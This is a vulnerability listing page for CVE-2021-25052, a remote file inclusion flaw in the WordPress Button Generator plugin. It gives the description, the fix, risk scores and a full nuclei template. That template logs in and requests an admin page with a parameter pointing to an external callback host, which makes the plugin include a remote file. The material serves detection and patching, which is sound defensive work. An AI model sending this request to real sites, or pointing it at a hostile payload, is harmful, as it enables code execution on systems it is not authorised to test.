Browse / CVEs / CVE-2021-25052
CVE-2021-25052· wow-company / button generator· CWE-352
WordPress Button Generator <2.3.3 - Remote File Inclusion
highseverity
8.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.
Impact
An attacker can exploit this vulnerability to execute arbitrary code on the target system.
Fix
Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/
Positive when: contains in interactsh_protocol "http" AND status 200Run it with nuclei: nuclei -id CVE-2021-25052 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-25052
info:
name: WordPress Button Generator <2.3.3 - Remote File Inclusion
author: cckuailong
severity: high
description: WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.
impact: |
An attacker can exploit this vulnerability to execute arbitrary code on the target system.
remediation: |
Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.
reference:
- https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
- https://nvd.nist.gov/vuln/detail/CVE-2021-25052
- https://plugins.trac.wordpress.org/changeset/2641639/button-generation
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25052
cwe-id: CWE-352
epss-score: 0.03032
epss-percentile: 0.87603
cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: wow-company
product: button_generator
framework: wordpress
tags: cve2021,cve,wp-plugin,authenticated,wpscan,rfi,wp,wordpress,wow-company,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
name: "http"
part: interactsh_protocol
words:
- "http"
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
- https://nvd.nist.gov/vuln/detail/CVE-2021-25052
- https://plugins.trac.wordpress.org/changeset/2641639/button-generation
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from